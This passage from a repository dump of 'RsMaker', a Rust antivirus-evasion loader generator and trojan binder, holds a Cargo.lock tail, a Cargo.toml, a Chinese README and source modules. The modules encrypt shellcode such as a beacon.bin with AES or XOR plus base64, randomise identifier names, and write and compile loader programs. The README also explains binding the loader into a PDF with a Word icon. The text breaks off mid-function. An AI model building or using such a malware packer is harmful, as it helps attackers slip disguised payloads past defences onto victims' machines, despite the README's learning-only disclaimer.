"b1141d4d61095b28419e22cb0bbf02755f5e54e0526f97f1e3d1d160e60885fb" 892 | 893 | [[package]] 894 | name = "tinyvec" 895 | version = "1.6.0" 896 | source = "registry+https://github.com/rust-lang/crates.io-index" 897 | checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" 898 | dependencies = [ 899 | "tinyvec_macros", 900 | ] 901 | 902 | [[package]] 903 | name = "tinyvec_macros" 904 | version = "0.1.0" 905 | source = "registry+https://github.com/rust-lang/crates.io-index" 906 | checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c" 907 | 908 | [[package]] 909 | name = "tokio" 910 | version = "1.20.0" 911 | source = "registry+https://github.com/rust-lang/crates.io-index" 912 | checksum = "57aec3cfa4c296db7255446efb4928a6be304b431a806216105542a67b6ca82e" 913 | dependencies = [ 914 | "autocfg", 915 | "bytes", 916 | "libc", 917 | "memchr", 918 | "mio", 919 | "num_cpus", 920 | "once_cell", 921 | "pin-project-lite", 922 | "socket2", 923 | "winapi", 924 | ] 925 | 926 | [[package]] 927 | name = "tokio-native-tls" 928 | version = "0.3.0" 929 | source = "registry+https://github.com/rust-lang/crates.io-index" 930 | checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b" 931 | dependencies = [ 932 | "native-tls", 933 | "tokio", 934 | ] 935 | 936 | [[package]] 937 | name = "tokio-util" 938 | version = "0.7.3" 939 | source = "registry+https://github.com/rust-lang/crates.io-index" 940 | checksum = "cc463cd8deddc3770d20f9852143d50bf6094e640b485cb2e189a2099085ff45" 941 | dependencies = [ 942 | "bytes", 943 | "futures-core", 944 | "futures-sink", 945 | "pin-project-lite", 946 | "tokio", 947 | "tracing", 948 | ] 949 | 950 | [[package]] 951 | name = "tower-service" 952 | version = "0.3.2" 953 | source = "registry+https://github.com/rust-lang/crates.io-index" 954 | checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" 955 | 956 | [[package]] 957 | name = "tracing" 958 | version = "0.1.35" 959 | source = "registry+https://github.com/rust-lang/crates.io-index" 960 | checksum = "a400e31aa60b9d44a52a8ee0343b5b18566b03a8321e0d321f695cf56e940160" 961 | dependencies = [ 962 | "cfg-if", 963 | "pin-project-lite", 964 | "tracing-core", 965 | ] 966 | 967 | [[package]] 968 | name = "tracing-core" 969 | version = "0.1.28" 970 | source = "registry+https://github.com/rust-lang/crates.io-index" 971 | checksum = "7b7358be39f2f274f322d2aaed611acc57f382e8eb1e5b48cb9ae30933495ce7" 972 | dependencies = [ 973 | "once_cell", 974 | ] 975 | 976 | [[package]] 977 | name = "try-lock" 978 | version = "0.2.3" 979 | source = "registry+https://github.com/rust-lang/crates.io-index" 980 | checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" 981 | 982 | [[package]] 983 | name = "typenum" 984 | version = "1.15.0" 985 | source = "registry+https://github.com/rust-lang/crates.io-index" 986 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 987 | 988 | [[package]] 989 | name = "unicode-bidi" 990 | version = "0.3.8" 991 | source = "registry+https://github.com/rust-lang/crates.io-index" 992 | checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992" 993 | 994 | [[package]] 995 | name = "unicode-ident" 996 | version = "1.0.0" 997 | source = "registry+https://github.com/rust-lang/crates.io-index" 998 | checksum = "d22af068fba1eb5edcb4aea19d382b2a3deb4c8f9d475c589b6ada9e0fd493ee" 999 | 1000 | [[package]] 1001 | name = "unicode-normalization" 1002 | version = "0.1.21" 1003 | source = "registry+https://github.com/rust-lang/crates.io-index" 1004 | checksum = "854cbdc4f7bc6ae19c820d44abdc3277ac3e1b2b93db20a636825d9322fb60e6" 1005 | dependencies = [ 1006 | "tinyvec", 1007 | ] 1008 | 1009 | [[package]] 1010 | name = "url" 1011 | version = "2.2.2" 1012 | source = "registry+https://github.com/rust-lang/crates.io-index" 1013 | checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c" 1014 | dependencies = [ 1015 | "form_urlencoded", 1016 | "idna", 1017 | "matches", 1018 | "percent-encoding", 1019 | ] 1020 | 1021 | [[package]] 1022 | name = "uuid" 1023 | version = "1.1.2" 1024 | source = "registry+https://github.com/rust-lang/crates.io-index" 1025 | checksum = "dd6469f4314d5f1ffec476e05f17cc9a78bc7a27a6a857842170bdf8d6f98d2f" 1026 | dependencies = [ 1027 | "sha1_smol", 1028 | ] 1029 | 1030 | [[package]] 1031 | name = "vcpkg" 1032 | version = "0.2.15" 1033 | source = "registry+https://github.com/rust-lang/crates.io-index" 1034 | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" 1035 | 1036 | [[package]] 1037 | name = "version_check" 1038 | version = "0.9.4" 1039 | source = "registry+https://github.com/rust-lang/crates.io-index" 1040 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 1041 | 1042 | [[package]] 1043 | name = "walkdir" 1044 | version = "2.3.2" 1045 | source = "registry+https://github.com/rust-lang/crates.io-index" 1046 | checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56" 1047 | dependencies = [ 1048 | "same-file", 1049 | "winapi", 1050 | "winapi-util", 1051 | ] 1052 | 1053 | [[package]] 1054 | name = "want" 1055 | version = "0.3.0" 1056 | source = "registry+https://github.com/rust-lang/crates.io-index" 1057 | checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" 1058 | dependencies = [ 1059 | "log", 1060 | "try-lock", 1061 | ] 1062 | 1063 | [[package]] 1064 | name = "wasi" 1065 | version = "0.10.2+wasi-snapshot-preview1" 1066 | source = "registry+https://github.com/rust-lang/crates.io-index" 1067 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" 1068 | 1069 | [[package]] 1070 | name = "wasi" 1071 | version = "0.11.0+wasi-snapshot-preview1" 1072 | source = "registry+https://github.com/rust-lang/crates.io-index" 1073 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 1074 | 1075 | [[package]] 1076 | name = "wasm-bindgen" 1077 | version = "0.2.80" 1078 | source = "registry+https://github.com/rust-lang/crates.io-index" 1079 | checksum = "27370197c907c55e3f1a9fbe26f44e937fe6451368324e009cba39e139dc08ad" 1080 | dependencies = [ 1081 | "cfg-if", 1082 | "wasm-bindgen-macro", 1083 | ] 1084 | 1085 | [[package]] 1086 | name = "wasm-bindgen-backend" 1087 | version = "0.2.80" 1088 | source = "registry+https://github.com/rust-lang/crates.io-index" 1089 | checksum = "53e04185bfa3a779273da532f5025e33398409573f348985af9a1cbf3774d3f4" 1090 | dependencies = [ 1091 | "bumpalo", 1092 | "lazy_static", 1093 | "log", 1094 | "proc-macro2", 1095 | "quote", 1096 | "syn", 1097 | "wasm-bindgen-shared", 1098 | ] 1099 | 1100 | [[package]] 1101 | name = "wasm-bindgen-futures" 1102 | version = "0.4.30" 1103 | source = "registry+https://github.com/rust-lang/crates.io-index" 1104 | checksum = "6f741de44b75e14c35df886aff5f1eb73aa114fa5d4d00dcd37b5e01259bf3b2" 1105 | dependencies = [ 1106 | "cfg-if", 1107 | "js-sys", 1108 | "wasm-bindgen", 1109 | "web-sys", 1110 | ] 1111 | 1112 | [[package]] 1113 | name = "wasm-bindgen-macro" 1114 | version = "0.2.80" 1115 | source = "registry+https://github.com/rust-lang/crates.io-index" 1116 | checksum = "17cae7ff784d7e83a2fe7611cfe766ecf034111b49deb850a3dc7699c08251f5" 1117 | dependencies = [ 1118 | "quote", 1119 | "wasm-bindgen-macro-support", 1120 | ] 1121 | 1122 | [[package]] 1123 | name = "wasm-bindgen-macro-support" 1124 | version = "0.2.80" 1125 | source = "registry+https://github.com/rust-lang/crates.io-index" 1126 | checksum = "99ec0dc7a4756fffc231aab1b9f2f578d23cd391390ab27f952ae0c9b3ece20b" 1127 | dependencies = [ 1128 | "proc-macro2", 1129 | "quote", 1130 | "syn", 1131 | "wasm-bindgen-backend", 1132 | "wasm-bindgen-shared", 1133 | ] 1134 | 1135 | [[package]] 1136 | name = "wasm-bindgen-shared" 1137 | version = "0.2.80" 1138 | source = "registry+https://github.com/rust-lang/crates.io-index" 1139 | checksum = "d554b7f530dee5964d9a9468d95c1f8b8acae4f282807e7d27d4b03099a46744" 1140 | 1141 | [[package]] 1142 | name = "web-sys" 1143 | version = "0.3.57" 1144 | source = "registry+https://github.com/rust-lang/crates.io-index" 1145 | checksum = "7b17e741662c70c8bd24ac5c5b18de314a2c26c32bf8346ee1e6f53de919c283" 1146 | dependencies = [ 1147 | "js-sys", 1148 | "wasm-bindgen", 1149 | ] 1150 | 1151 | [[package]] 1152 | name = "whoami" 1153 | version = "1.2.1" 1154 | source = "registry+https://github.com/rust-lang/crates.io-index" 1155 | checksum = "524b58fa5a20a2fb3014dd6358b70e6579692a56ef6fce928834e488f42f65e8" 1156 | dependencies = [ 1157 | "wasm-bindgen", 1158 | "web-sys", 1159 | ] 1160 | 1161 | [[package]] 1162 | name = "winapi" 1163 | version = "0.3.9" 1164 | source = "registry+https://github.com/rust-lang/crates.io-index" 1165 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1166 | dependencies = [ 1167 | "winapi-i686-pc-windows-gnu", 1168 | "winapi-x86_64-pc-windows-gnu", 1169 | ] 1170 | 1171 | [[package]] 1172 | name = "winapi-i686-pc-windows-gnu" 1173 | version = "0.4.0" 1174 | source = "registry+https://github.com/rust-lang/crates.io-index" 1175 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1176 | 1177 | [[package]] 1178 | name = "winapi-util" 1179 | version = "0.1.5" 1180 | source = "registry+https://github.com/rust-lang/crates.io-index" 1181 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 1182 | dependencies = [ 1183 | "winapi", 1184 | ] 1185 | 1186 | [[package]] 1187 | name = "winapi-x86_64-pc-windows-gnu" 1188 | version = "0.4.0" 1189 | source = "registry+https://github.com/rust-lang/crates.io-index" 1190 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1191 | 1192 | [[package]] 1193 | name = "windows-sys" 1194 | version = "0.36.1" 1195 | source = "registry+https://github.com/rust-lang/crates.io-index" 1196 | checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2" 1197 | dependencies = [ 1198 | "windows_aarch64_msvc", 1199 | "windows_i686_gnu", 1200 | "windows_i686_msvc", 1201 | "windows_x86_64_gnu", 1202 | "windows_x86_64_msvc", 1203 | ] 1204 | 1205 | [[package]] 1206 | name = "windows_aarch64_msvc" 1207 | version = "0.36.1" 1208 | source = "registry+https://github.com/rust-lang/crates.io-index" 1209 | checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47" 1210 | 1211 | [[package]] 1212 | name = "windows_i686_gnu" 1213 | version = "0.36.1" 1214 | source = "registry+https://github.com/rust-lang/crates.io-index" 1215 | checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6" 1216 | 1217 | [[package]] 1218 | name = "windows_i686_msvc" 1219 | version = "0.36.1" 1220 | source = "registry+https://github.com/rust-lang/crates.io-index" 1221 | checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024" 1222 | 1223 | [[package]] 1224 | name = "windows_x86_64_gnu" 1225 | version = "0.36.1" 1226 | source = "registry+https://github.com/rust-lang/crates.io-index" 1227 | checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1" 1228 | 1229 | [[package]] 1230 | name = "windows_x86_64_msvc" 1231 | version = "0.36.1" 1232 | source = "registry+https://github.com/rust-lang/crates.io-index" 1233 | checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680" 1234 | 1235 | [[package]] 1236 | name = "winreg" 1237 | version = "0.10.1" 1238 | source = "registry+https://github.com/rust-lang/crates.io-index" 1239 | checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" 1240 | dependencies = [ 1241 | "winapi", 1242 | ] 1243 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | 2 | [package] 3 | name = "rsmaker" 4 | version = "0.1.0" 5 | edition = "2021" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | obfstr = "0.3.0" 11 | reqwest = { version = "*", features = ["blocking"] } 12 | rand = "*" 13 | base64 = "0.13.0" 14 | rust-embed="6.4.0" 15 | whoami = "*" 16 | libaes = "*" 17 | uuid={version = "1.1.2",features = [ 18 | "v5", # Lets you generate random UUIDs 19 | 20 | ]} 21 | clap = "*" 22 | [profile.release] 23 | lto = true 24 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 25 | overflow-checks = false 26 | strip = "symbols" 27 | codegen-units = 1 28 | panic = 'abort' 29 | code-model = "tiny" 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RsMaker——基于rust的免杀生成框架 2 | 3 | 4 | 5 | ## 总体分为两大模块:免杀生成与木马捆绑 6 | 7 | 8 | ### Introduction 9 | 10 | #### 免杀生成: 11 | 12 | 免杀目前具有三种混淆方式:1、**Aes加密** 2、**base64加密** 3、**uuid** 13 | 下图使用aes方式进行演示 14 | 15 |

16 | RsMaker 17 |

18 | 19 | 20 | #### 文件捆绑: 21 | 22 | 文件捆绑支持**自定义图标**、**文件**,甚至可以将exe和exe捆绑到一起。 23 |

24 | RsMaker 25 |

26 |

27 | RsMaker 28 |

29 | 30 | ### Usage 31 | 32 | #### 首先确保您的windows机器上安装了rust并且开启了nightly模式 33 | 34 | ``` 35 | 查看rust版本 36 | $ rustc --version 37 | 安装nightly 38 | $ rustup install nightly 39 | 将nightly设置为默认 40 | $ rustup default nightly 41 | 查看rust版本 42 | $ rustc --version 43 | 44 | ``` 45 | #### 安装msvc nightly toolchain 46 | ``` 47 | rustup target add nightly-x86_64-pc-windows-msvc 48 | ``` 49 | 50 | #### 生成木马 51 | ``` 52 | rsmaker.exe generate -f beacon.bin -m aes 53 | ``` 54 | 55 | #### 捆绑文件 56 | ``` 57 | rsmaker.exe embed -f test.pdf -t loader.exe -i word.ico 58 | ``` 59 | 60 | #### 查看帮助 61 | ``` 62 | rsmaker.exe -h 63 | ``` 64 | 65 | # 注意 66 | * 本项目所用技术仅用于学习交流,请勿直接用于任何商业场合和非法用途。 67 | * 本项目不提供编译好的文件,仅供代码交流学习。 68 | * 本项目为学习rust的过程中的中间产物,且诞生时间要早于项目发布时间,免杀效果截至项目发布时间已经很差了。 69 | -------------------------------------------------------------------------------- /images/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/.DS_Store -------------------------------------------------------------------------------- /images/Jun-21-2022 20-09-46.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/Jun-21-2022 20-09-46.gif -------------------------------------------------------------------------------- /images/Jun-21-2022 20-25-47.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/Jun-21-2022 20-25-47.gif -------------------------------------------------------------------------------- /images/Jun-21-2022 20-26-46.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/Jun-21-2022 20-26-46.gif -------------------------------------------------------------------------------- /src/aes_xor/aesxor.rs: -------------------------------------------------------------------------------- 1 | use rust_embed::RustEmbed; 2 | use std::fs::{write,create_dir_all}; 3 | use rand::Rng; 4 | use whoami; 5 | use libaes::Cipher; 6 | use rsmaker::{RANDOM_AES_KEY,AES_PASSWORD_LEN,base64_encode,complie}; 7 | 8 | #[derive(RustEmbed)] 9 | #[folder = "temp"] 10 | struct Asset; 11 | 12 | pub fn make_rs(aes_shellcode:String,password1:String,password2:String)->(){ 13 | 14 | let head = Asset::get("aes/head.rs").unwrap(); 15 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap(); 16 | 17 | let model = Asset::get("aes/model.rs").unwrap(); 18 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap(); 19 | 20 | let toml = Asset::get("aes/Cargo.toml").unwrap(); 21 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap(); 22 | 23 | let config = Asset::get("aes/config.toml").unwrap(); 24 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap(); 25 | 26 | let shellcode = format!(r#"let SHELLCODE: &str = "{}";"#,aes_shellcode); 27 | let password1 = format!(r#"let PASSWORD1: &[u8; 16] = b"{}";"#,password1); 28 | let password2 = format!(r#"let PASSWORD2: &[u8; 16] = b"{}";"#,password2); 29 | 30 | let mut new_string = String::from(""); 31 | 32 | new_string.push_str(head_str); 33 | new_string.push_str("\n"); 34 | new_string.push_str(&shellcode); 35 | new_string.push_str("\n"); 36 | new_string.push_str(&password1); 37 | new_string.push_str("\n"); 38 | new_string.push_str(&password2); 39 | new_string.push_str("\n"); 40 | new_string.push_str(model_str); 41 | 42 | let _ = create_dir_all("loader/src"); 43 | let _ = create_dir_all("loader/.cargo"); 44 | let _ = write(format!("loader/src/main.rs"), new_string); 45 | let _ = write(format!("loader/Cargo.toml"), toml_str); 46 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username()); 47 | let _ = write(format!("loader/.cargo/config.toml"), config_str); 48 | 49 | 50 | } 51 | 52 | 53 | pub fn run(shellcode:Vec)->std::io::Result<()>{ 54 | println!("mode: AES"); 55 | let (shellcode,password1,password2) = aes_base64(shellcode); 56 | make_rs(shellcode,password1,password2); 57 | complie(); 58 | println!("compling....please wait..."); 59 | Ok(()) 60 | } 61 | 62 | pub fn aes_base64(shellcode:Vec)->(String,String,String){ 63 | let mut rng = rand::thread_rng(); 64 | let password1: String = (0..AES_PASSWORD_LEN) 65 | .map(|_| { 66 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len()); 67 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) }) 68 | }).collect(); 69 | 70 | println!("aes key is {}",&password1); 71 | let password2: String = (0..AES_PASSWORD_LEN) 72 | .map(|_| { 73 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len()); 74 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) }) 75 | }).collect(); 76 | println!("iv key is {}",&password2); 77 | let cipher = Cipher::new_128(password1.as_bytes()[0..16].try_into().unwrap()); 78 | let shellcode = cipher.cbc_encrypt(password2.as_bytes(), &shellcode); 79 | 80 | let shellcode = base64_encode(shellcode); 81 | 82 | (shellcode,password1,password2) 83 | 84 | } -------------------------------------------------------------------------------- /src/aes_xor/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod aesxor; -------------------------------------------------------------------------------- /src/base64_xor/base64xor.rs: -------------------------------------------------------------------------------- 1 | use rust_embed::RustEmbed; 2 | use std::fs::{write,create_dir_all}; 3 | use rand::Rng; 4 | use whoami; 5 | use rsmaker::{xor_fn,complie,base64_encode,CHARSET,PASSWORD_LEN}; 6 | 7 | 8 | 9 | #[derive(RustEmbed)] 10 | #[folder = "temp"] 11 | struct Asset; 12 | 13 | 14 | 15 | 16 | 17 | 18 | pub fn make_rs(base64_shellcode:String,xor:u8)->(){ 19 | let head = Asset::get("base64xor/head.rs").unwrap(); 20 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap(); 21 | 22 | let model = Asset::get("base64xor/model.rs").unwrap(); 23 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap(); 24 | 25 | let toml = Asset::get("base64xor/Cargo.toml").unwrap(); 26 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap(); 27 | 28 | let config = Asset::get("base64xor/config.toml").unwrap(); 29 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap(); 30 | 31 | let shellcode = format!(r#"const SHELLCODE: &str = "{}";"#,base64_shellcode); 32 | let xor = format!("\nconst XOR: u8 = {};\n",&xor); 33 | 34 | let mut new_string = String::from(""); 35 | 36 | new_string.push_str(head_str); 37 | new_string.push_str("\n"); 38 | new_string.push_str(&shellcode); 39 | new_string.push_str(&xor); 40 | new_string.push_str(model_str); 41 | 42 | let new_string = radom_fn(new_string); 43 | let _ = create_dir_all("loader/src"); 44 | let _ = create_dir_all("loader/.cargo"); 45 | let _ = write(format!("loader/src/main.rs"), new_string); 46 | let _ = write(format!("loader/Cargo.toml"), toml_str); 47 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username()); 48 | let _ = write(format!("loader/.cargo/config.toml"), config_str); 49 | 50 | } 51 | 52 | pub fn radom_fn(text:String)->String{ 53 | let mut rng = rand::thread_rng(); 54 | let password1: String = (0..PASSWORD_LEN) 55 | .map(|_| { 56 | let idx = rng.gen_range(0..CHARSET.len()); 57 | char::from(unsafe { *CHARSET.get_unchecked(idx) }) 58 | }).collect(); 59 | let password2: String = (0..PASSWORD_LEN) 60 | .map(|_| { 61 | let idx = rng.gen_range(0..CHARSET.len()); 62 | char::from(unsafe { *CHARSET.get_unchecked(idx) }) 63 | }).collect(); 64 | let password3: String = (0..PASSWORD_LEN) 65 | .map(|_| { 66 | let idx = rng.gen_range(0..CHARSET.len()); 67 | char::from(unsafe { *CHARSET.get_unchecked(idx) }) 68 | }).collect(); 69 | let password4: String = (0..PASSWORD_LEN) 70 | .map(|_| { 71 | let idx = rng.gen_range(0..CHARSET.len()); 72 | char::from(unsafe { *CHARSET.get_unchecked(idx) }) 73 | }).collect(); 74 | 75 | 76 | let mut text_rand = text.replace("base64_decode", &password1); 77 | text_rand = text_rand.replace("xor_fn", &password2); 78 | text_rand = text_rand.replace("shellcode", &password3); 79 | text_rand = text_rand.replace("SHELLCODE", &password4); 80 | 81 | text_rand 82 | } 83 | 84 | 85 | pub fn run(shellcode:Vec)->std::io::Result<()>{ 86 | println!("current username is {}",whoami::username()); 87 | let xor:u8 = rand::thread_rng().gen(); 88 | 89 | println!("The xor random number is {}",&xor); 90 | 91 | 92 | let base64_shellcode = base64_encode(xor_fn(shellcode,xor)); 93 | println!("Encrypting shellcode..."); 94 | println!("Done..."); 95 | 96 | println!("Encrypting loader code....."); 97 | println!("Done..."); 98 | make_rs(base64_shellcode, xor); 99 | 100 | println!("Compiling please wait....."); 101 | 102 | complie(); 103 | 104 | println!("Succeed!,the loader name is rsloader.exe, enjoy :)"); 105 | Ok(()) 106 | } -------------------------------------------------------------------------------- /src/base64_xor/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod base64xor; -------------------------------------------------------------------------------- /src/bird2/bird2.rs: -------------------------------------------------------------------------------- 1 | use rust_embed::RustEmbed; 2 | use std::fs::{write,create_dir_all}; 3 | use rand::Rng; 4 | use whoami; 5 | use libaes::Cipher; 6 | use rsmaker::{RANDOM_AES_KEY,AES_PASSWORD_LEN,base64_encode,complie}; 7 | 8 | #[derive(RustEmbed)] 9 | #[folder = "temp"] 10 | struct Asset; 11 | 12 | pub fn make_rs(aes_shellcode:String,password1:String,password2:String)->(){ 13 | 14 | let head = Asset::get("bird2/head.rs").unwrap(); 15 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap(); 16 | 17 | let model = Asset::get("bird2/model.rs").unwrap(); 18 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap(); 19 | 20 | let toml = Asset::get("bird2/Cargo.toml").unwrap(); 21 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap(); 22 | 23 | let config = Asset::get("bird2/config.toml").unwrap(); 24 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap(); 25 | 26 | let shellcode = format!(r#"let SHELLCODE: &str = "{}";"#,aes_shellcode); 27 | let password1 = format!(r#"let PASSWORD1: &[u8; 16] = b"{}";"#,password1); 28 | let password2 = format!(r#"let PASSWORD2: &[u8; 16] = b"{}";"#,password2); 29 | 30 | let mut new_string = String::from(""); 31 | 32 | new_string.push_str(head_str); 33 | new_string.push_str("\n"); 34 | new_string.push_str(&shellcode); 35 | new_string.push_str("\n"); 36 | new_string.push_str(&password1); 37 | new_string.push_str("\n"); 38 | new_string.push_str(&password2); 39 | new_string.push_str("\n"); 40 | new_string.push_str(model_str); 41 | 42 | let _ = create_dir_all("loader/src"); 43 | let _ = create_dir_all("loader/.cargo"); 44 | let _ = write(format!("loader/src/main.rs"), new_string); 45 | let _ = write(format!("loader/Cargo.toml"), toml_str); 46 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username()); 47 | let _ = write(format!("loader/.cargo/config.toml"), config_str); 48 | 49 | 50 | } 51 | 52 | 53 | pub fn run(shellcode:Vec)->std::io::Result<()>{ 54 | println!("mode: early bird 2222 AES"); 55 | let (shellcode,password1,password2) = aes_base64(shellcode); 56 | make_rs(shellcode,password1,password2); 57 | complie(); 58 | println!("compling....please wait..."); 59 | Ok(()) 60 | } 61 | 62 | pub fn aes_base64(shellcode:Vec)->(String,String,String){ 63 | let mut rng = rand::thread_rng(); 64 | let password1: String = (0..AES_PASSWORD_LEN) 65 | .map(|_| { 66 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len()); 67 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) }) 68 | }).collect(); 69 | 70 | println!("aes key is {}",&password1); 71 | let password2: String = (0..AES_PASSWORD_LEN) 72 | .map(|_| { 73 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len()); 74 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) }) 75 | }).collect(); 76 | println!("iv key is {}",&password2); 77 | let cipher = Cipher::new_128(password1.as_bytes()[0..16].try_into().unwrap()); 78 | let shellcode = cipher.cbc_encrypt(password2.as_bytes(), &shellcode); 79 | 80 | let shellcode = base64_encode(shellcode); 81 | 82 | (shellcode,password1,password2) 83 | 84 | } -------------------------------------------------------------------------------- /src/bird2/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod bird2; -------------------------------------------------------------------------------- /src/earlybird/earlybird.rs: -------------------------------------------------------------------------------- 1 | use rust_embed::RustEmbed; 2 | use std::fs::{write,create_dir_all}; 3 | use rand::Rng; 4 | use whoami; 5 | use libaes::Cipher; 6 | use rsmaker::{RANDOM_AES_KEY,AES_PASSWORD_LEN,base64_encode,complie}; 7 | 8 | #[derive(RustEmbed)] 9 | #[folder = "temp"] 10 | struct Asset; 11 | 12 | pub fn make_rs(aes_shellcode:String,password1:String,password2:String)->(){ 13 | 14 | let head = Asset::get("earlybird/head.rs").unwrap(); 15 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap(); 16 | 17 | let model = Asset::get("earlybird/model.rs").unwrap(); 18 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap(); 19 | 20 | let toml = Asset::get("earlybird/Cargo.toml").unwrap(); 21 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap(); 22 | 23 | let config = Asset::get("earlybird/config.toml").unwrap(); 24 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap(); 25 | 26 | let shellcode = format!(r#"let SHELLCODE: &str = "{}";"#,aes_shellcode); 27 | let password1 = format!(r#"let PASSWORD1: &[u8; 16] = b"{}";"#,password1); 28 | let password2 = format!(r#"let PASSWORD2: &[u8; 16] = b"{}";"#,password2); 29 | 30 | let mut new_string = String::from(""); 31 | 32 | new_string.push_str(head_str); 33 | new_string.push_str("\n"); 34 | new_string.push_str(&shellcode); 35 | new_string.push_str("\n"); 36 | new_string.push_str(&password1); 37 | new_string.push_str("\n"); 38 | new_string.push_str(&password2); 39 | new_string.push_str("\n"); 40 | new_string.push_str(model_str); 41 | 42 | let _ = create_dir_all("loader/src"); 43 | let _ = create_dir_all("loader/.cargo"); 44 | let _ = write(format!("loader/src/main.rs"), new_string); 45 | let _ = write(format!("loader/Cargo.toml"), toml_str); 46 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username()); 47 | let _ = write(format!("loader/.cargo/config.toml"), config_str); 48 | 49 | 50 | } 51 | 52 | 53 | pub fn run(shellcode:Vec)->std::io::Result<()>{ 54 | println!("mode: early bird AES"); 55 | let (shellcode,password1,password2) = aes_base64(shellcode); 56 | make_rs(shellcode,password1,password2); 57 | complie(); 58 | println!("compling....please wait..."); 59 | Ok(()) 60 | } 61 | 62 | pub fn aes_base64(shellcode:Vec)->(String,String,String){ 63 | let mut rng = rand::thread_rng(); 64 | let password1: String = (0..AES_PASSWORD_LEN) 65 | .map(|_| { 66 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len()); 67 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) }) 68 | }).collect(); 69 | 70 | println!("aes key is {}",&password1); 71 | let password2: String = (0..AES_PASSWORD_LEN) 72 | .map(|_| { 73 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len()); 74 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) }) 75 | }).collect(); 76 | println!("iv key is {}",&password2); 77 | let cipher = Cipher::new_128(password1.as_bytes()[0..16].try_into().unwrap()); 78 | let shellcode = cipher.cbc_encrypt(password2.as_bytes(), &shellcode); 79 | 80 | let shellcode = 